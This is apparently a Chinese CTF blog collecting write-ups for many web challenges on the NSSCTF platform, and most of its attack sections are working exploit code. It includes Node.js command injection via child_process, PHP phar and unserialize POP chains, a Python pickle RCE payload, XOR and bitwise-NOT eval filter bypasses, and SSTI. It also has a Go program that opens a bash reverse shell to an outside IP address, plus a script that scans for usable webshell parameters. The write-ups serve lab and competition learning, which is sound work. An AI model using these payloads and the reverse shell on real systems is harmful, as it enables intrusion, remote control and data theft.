我想可能是因为已经在for循环中被解析出来了,就已经是x了,而对x的检测再最后,所以没法绕过

但是还有一种方法。因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了。

1
calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')
1
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();

以上由于长度限制,因此只能通过写文件和读文件分离来获取flag了!

[CISCN 2019华北Day1]Web1

打开后是一个注册+登录界面,遇到这种情况一般都是先注册再登陆进去的,接下来可能有权限的提升等等。

进去后发现三个功能点。

  • 上传文件
  • 下载文件
  • 删除文件

我们发现下载文件处存在任意文件读取!

image-20241217102936436
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

发现存在一个class.php文件,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

我们可以发现在download.php中存在这样的代码

1
$file->close();

这会触发file_get_contents,存在phar反序列化!我们只需要上传一个phar文件然后下载文件来phar伪协议即可。

接下来,我们需要构造的是pop链,构造恶意phar文件。

这里要注意File中只是return了flag.txt的内容,并没有输出,所以我们想办法将其输出!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class User {
public $db;

public function __destruct() {
$this->db->close();
}
}

class File {
public $filename="/flag.txt";

public function close() {
return file_get_contents($this->filename);
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file=new File();
$this->files=array($file);
$this->results = array();
$this->funcs = array();
}

}


$a=new User();
$b=new FileList();
$a->db=$b;


@unlink('test.phar');//删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($a); //将自定义meta-data存入manifest
$phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘

以下为delete.php,删除文件时触发unlink,也会触发phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

1
NSSCTF{c75690ab-7f71-4249-9591-3604d9b33f33}

[MoeCTF 2021]地狱通讯

image-20241217162221344

整理得到如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, render_template, request 
from flag import flag, FLAG
import datetime
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()

f1ag = request.args.get('f1ag') or ""
exp = request.args.get('exp') or ""
flAg = FLAG(f1ag)
message = "Your flag is {0}" + exp
if exp == "":
return ctx
else:
return message.format(flAg)


if __name__ == "__main__": app.run()

关键的利用点在message.format(flAg)和message = “Your flag is {0}” + exp

考点不出意外就是format函数

这其实可以看做是

1
"Your flag is flAg" + exp 

,后面还有个exp可控,我们让他也为{},那么这个内容就可控了

2024-01-24T10:25:56.png

image-20241217162431715

那么我们让exp为如下试试

1
{0.__class__}

image-20241217162525349

成功,接下来看globals即可。

image-20241217162550738

[CISCN 2019华北Day1]Web2

注册一个账号然后登陆进入就行。

image-20241217183017666

ikun们冲呀,一定要买到lv6

ok,下面找lv6就行,但是翻了好多页都没有,可能数字很大,我们爆破一下

1
2
3
4
5
6
7
8
9
import requests

url='http://node4.anna.nssctf.cn:28454/shop?page='

for i in range(200):
target=url+str(i)
res=requests.get(target)
if 'lv6.png' in res.text:
print(i)

180,ok拿捏

image-20241217183108043

天价,那么接下来可能考点就是支付逻辑漏洞

image-20241217183711068

这里需要admin用户才行,同时给了jwt,那么我们伪造jwt就行,这里我试了很多方法都不行,后来jwtcrack一下直接爆破出了密钥

image-20241217184946236

1
1Kun

image-20241217185044193

在源代码看到www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

在admin.py处发现pickle.loads,存在pickle反序列化

image-20241217191850648

同时看一下对于路由的配置,对应的是/b1g_m4mber路由,那么我们只需要在这个路由下进行pickle反序列化即可。

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import urllib

class cmd(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))


c = cmd()
c = pickle.dumps(c)
d=urllib.quote(c)
print(d)

这里当时试了好久,后来才知道urllib.unquote对应python2版本,要用python2来,不能用python3,同时cmd类中要继承object才行!!!

image-20241217194810760

[SWPUCTF 2022 新生赛]Power!

主要是关于php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Image Viewer ~ @V@</title>
</head>
<body>
<h1>This is a Image viewer</h1>
<form action="/" method="get">
<input type="text" placeholder="vergil.jpg" name="image_path">
<button type="submit">submit</button>
</form>
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}

}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
?>
</body>
<!-- ?source= -->
</html>

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
class FileViewer{
public $black_list = "111";
public $local = "http://127.0.0.1:65500/";
public $path="flag.php";
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "http://127.0.0.1:65500/";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}

$a=new FileViewer();
$b=new Backdoor();
$b->a=$a;
$b->b="local";

//echo serialize($b);

$c=array('a'=>$b,'b'=>NULL);
echo serialize($c);
//a:2:{s:1:"a";O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:3:"111";s:5:"local";s:23:"http://127.0.0.1:65500/";s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:23:"http://127.0.0.1:65500/";}s:1:"a";N;}

用到gc回收机制等

[ISITDTU 2019]EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

绕过两个if即可实现命令执行

首先看看过滤的东西:

1
\x00-\x20,0-1,'"`$&.,|[]{_defgops}+和\x7F

再看下面的if,count_chars第二个参数为3,

image-20241218143940345

也就是不能使用超过13种字符!、

接下来,有一种办法可以看我们到底可以用哪些内置函数!!!好办法!

1
2
3
4
5
6
7
<?php
$array=get_defined_functions();
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $arr) )continue;
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )continue;
print($arr."\n");
}

image-20241218144520020

获取可用函数

但是我们没有发现可供我们使用的函数,该怎么办呢?

我们接着看过滤,发现异或,取反之类的没有被过滤,可以考虑用他们来绕过。

尝试取反

1
2
echo urlencode(~('phpinfo'));
//%8F%97%8F%96%91%99%90

image-20241218150653705

成功执行phpinfo

接下来我们可以看看disable function

image-20241218150726126

print_r(),scandir()之类的可以用

1
2
3
4
5
6
echo urlencode(~('print_r'));
//%8F%8D%96%91%8B%A0%8D
echo urlencode(~('scandir'));
//%8C%9C%9E%91%9B%96%8D
echo urlencode(~('.'));
//%D1
1
(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1));
1
((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

这里总共15个字符,超过了两个

但是这里字符种类超过限制,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def en(s):
return hex(ord(s) ^ 0xff)[2:]


p = list(set('printrscandir'))
for i in p:
for j in p:
for k in p:
for m in p:
if ord(j) ^ ord(k) ^ ord(m) == ord(i):
if(j == k or j == m or m == k):
continue
else:
print(i+'=='+j + '^' + k + '^'+m, end='\t')
print(
'{:0>2} => ["{:0>2}","{:0>2}","{:0>2}"]'.format(
en(i), en(j), en(k), en(m)))
break
1
2
3
n==d^i^c	91  =>  ["9b","96","9c"]
p==r^a^c 8f => ["8d","9e","9c"]
t==d^s^c 8b => ["9b","8c","9c"]

print_r(scandir(‘.’))

往下变:以下两种都行,可以构造很多很多种,替换哪种都没事!

1
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
1
((%8d%8d%96%9b%9b%a0%8d)^(%9e%ff%ff%96%8c%ff%ff)^(%9c%ff%ff%9c%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%9b%9b%96%8d)^(%ff%ff%ff%96%ff%ff%ff)^(%ff%ff%ff%9c%ff%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

image-20241218164943899

想要读取的话

1
readfile(end(scandir('.')))
1
2
3
4
((%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff))
((%9A%91%9B)^(%ff%ff%ff))
((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))
((%D1)^(%ff))
1
2
3
d==l^a^i	9b  =>  ["93","9e","96"]
i==f^n^a 96 => ["99","91","9e"]
c==a^l^n 9c => ["9e","93","91"]
1
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

这里不太清楚这个序列化后是长啥样的,本地跑一下看看。

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:5:"b1234";s:3:"img";s:40:"da39a3ee5e6b4b0d3255bfef95601890afd80709";}

这个sha1是需要绕过的!

但是这要咋绕啊?发现有个filter会过滤掉字符串,可以考虑字符串逃逸,把img逃逸出来,我们可以自己构造!

存在extract($_POST);变量覆盖!

1
2
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

这俩都是可控的。

function可控,我们在里面弄img然后闭合就行,那么我们用user来进行逃逸,吞掉";s:8:"function";s:xx:",23个字符。

1
flagflagflagflagflagphp
1
";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}

有个hint就是d0g3_f1ag.php

image-20241220124913426 image-20241220124906163

ok拿捏了。/d0g3_fllllllag

1
";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
image-20241220125010556

NSSCTF{eb4bcc79-d54c-4437-af0a-d13b88c05373}

[护网杯 2018]easy_tornado

打开页面有三个超链接,集成一下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
/welcome.txt
fa7aa3ea2a63d3e3f984fc2f952b9d95

/hints.txt
9dd148c6b068df197ef0c4d592565839

/flag.txt
7f5f6f0a3e742f57e0c66c6e2989e494


md5(cookie_secret+md5(filename))

/fllllllllllllag

我们需要获取cookie_secret的值

而我们查官方文档,tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类

RequestHandler.settings又指向self.application.settings

所以我们可以说handler.settings指向了RequestHandler.settings了,对吧

image-20241220205948150

1
128f7343-bd58-429c-80c6-c72b604e2aaf

然后验证一下,用flag.txt

1
2
3
/flag.txt md5 => 40dfb7391c19a66939e6b6f4e9898804
2f02cee7-4944-4208-9af2-fae3dad9ce3740dfb7391c19a66939e6b6f4e9898804
9c2b962c16d37c4d7e8d2731f5d589b4
1
2
2f02cee7-4944-4208-9af2-fae3dad9ce373bf9f6cf685a6dd8defadabfb41a03a1
256ccf8b76c09059ce6fa48edd653af9

image-20241220210832925

image-20241221130223596

flag界面存在ssti,是twig模板引擎的ssti

image-20241221130251349

发现他会把username的值设置为cookie!

同时页面也会回显123.

cookie处可能存在ssti

image-20241221131100031

实锤了,想办法看其他目录

这里想了半天,突然想起来,ls /是一列一列输出的,所以这里只输出了第一行,我们让他成行输出即可!

刚开始试了

1
ls -m /   不太行,只有几个
1
ls / | xargs   可以
image-20241221132103107 image-20241221132132933

[NSSRound#8 Basic]Upload_gogoggo

image-20241221210444624

就一个文件上传的功能点,上传试试

image-20241221210459298

这波….

go webshell??go help???这是用go执行了我的文件名吗?

上传文件名为help试试

image-20241221210551031

这是??

命令执行(go 文件名前缀 文件上传的路径)?

能不能让他go run go文件

go run run.go??

可以吗?

run.go文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main


import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/156.238.233.113/4567 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

直接弹shell

根目录下有个flaaaag TlNTQ1QK

/home/galf RntmY2ZjYjIwNS1kZjFhLTQ2NWYtODMzOC0wYzRhMjM2MDEzNmF9Cg==

抽象

1
NSSCTF{fcfcb205-df1a-465f-8338-0c4a2360136a}

[MoeCTF 2021]fake game

image-20241222093337918

image-20241222093344765

随便发个包,正常分配属性肯定是不行的。

image-20241222093408857

提示merge,原型链污染。

如果你将某一项属性值设为0,你将没有这项属性!

那么污染proto,当前找不到就找之前的,完美了。

image-20241222093449718

[NSSRound#13 Basic]ez_factors

image-20241222102504323

因数分解

image-20241222102518573

image-20241222102526079

发现只能输出数字。

那就用od,输出八进制

image-20241222102639428

[NSSRound#4 SWPU]1zweb(revenge)

一道phar反序列化题,但是跟之前做的不太一样

image-20241222111208334

有两个功能点

存在任意文件读取,先读取index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
if (preg_match("/flag/", $file)) {
die("nonono");
}
echo file_get_contents($file);
}

这里其实就是要构造phar文件了。

再读取upload.php,查看相关过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>

发现存在对__HALT_COMPILER();的检测。可以用两种方法来绕过

image-20241222112240952

来吧,先构造恶意phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class LoveNss{
public $ljt="Misc";
public $dky="Re";
public $cmd="system('tac /f*');";
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}

@unlink('test.phar');//删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar');//创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();//开始写文件
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');//写入stub
$o=new LoveNss();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString('test.txt','test');//添加要压缩的文件
$phar->stopBuffering();

这里注意构造完要用winhex改属性数量!

1
2
3
4
5
6
import gzip
with open('test.phar', 'rb') as file:
f = file.read()
newf = gzip.compress(f) #对Phar⽂件进⾏gzip压缩
with open('capoo.gif', 'wb') as file:#更改⽂件后缀
file.write(newf)

image-20241222112644143

尝试phar文件包含,他说broken signature,签名有问题?!

当我们更改test.phar文件的内容时,签名会变得无效,因此我们需要换一个签名!

image-20241222112807470

1
2
3
4
5
6
7
8
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

image-20241222113111949

拿捏了!

[CISCN 2019华东南]Web4

开局发现任意文件读取

python网站,那就直接读源码。

image-20241222161153662

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

思路就是改session。

image-20241222161704265

image-20241222161718945

接下来如果我们能获取到secret_key那就大功告成了。

然后我发现了一个解题关键:

1
random.seed(uuid.getnode())

只要我们获取到uuid.getnode(),那么就知道种子了,就可以知道secret_key了.

uuid.getnode()返回计算机的网络接口卡(NIC)地址,通常是设备的 MAC 地址。

1
/sys/class/net/eth0/address

image-20241222162400463

1
02:42:ac:02:82:0a

这道题前面写到过啊我丢,突然意识到。

1
2
3
4
5
import random

random.seed(0x0242ac02820a)
sec=str(random.random()*233)
print(sec)

这里踩到坑了,python2的环境!!!

image-20241222164000955

image-20241222163953824

这里不知道为啥不能用原来的格式,奇怪

[强网杯 2019]高明的黑客

image-20241223104912732

给了源码

image-20241223104936822

一堆混淆过的不知道是啥的文件,超级多。

我们放d盾跑一下

image-20241223105009974

几乎都有问题,直接随便找一个试试。

image-20241223105356197

执行不了!

那就跑跑脚本,找出能执行的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os
import requests
import time
import threading
import re

print('开始时间: '+ time.asctime(time.localtime(time.time())))

#控制线程的最大数量
s1 = threading.Semaphore(100)
filePath=r'D:\newphpstudy\phpstudy_pro\WWW\src'
os.chdir(filePath)
#设置重连次数,防止线程过高,断开连接
requests.adapters.DEFAULT_RETRIES = 5
files=os.listdir(filePath)
session=requests.session()
#设置连接的活跃状态为false
session.keep_alive=False

def get_content(file):
s1.acquire()
#print('tring ' + file + ' ' + time.asctime(time.localtime(time.time())))
with open(file,encoding='utf-8')as f:
gets=list(re.findall('\$_GET\[\'(.*?)\'\]',f.read()))
posts=list(re.findall('\$_POST\[\'(.*?)\'\]',f.read()))

data={}
params={}
for i in gets:
params[i]="echo '123456';"

for j in posts:
data[j]="echo '123456';"


target="http://127.0.0.1/src/"+file

#print(target)
res=session.post(target,data=data,params=params)
#print(res.text)
res.close()
res.encoding='utf-8'
if '123456' in res.text:
flag=0
for i in gets:
res=session.get(target+'?%s='%i+"echo '123456';")
if '123456' in res.text:
flag=1
break
if flag!=1:
for j in posts:
res = session.post(target,data={j:"echo '123456';"})
if '123456' in res.text:
break

if flag==1:
params=i
else:
params=j
print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % params)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for f in files:
t=threading.Thread(target=get_content,args=(f,))
t.start()

image-20241223113609841

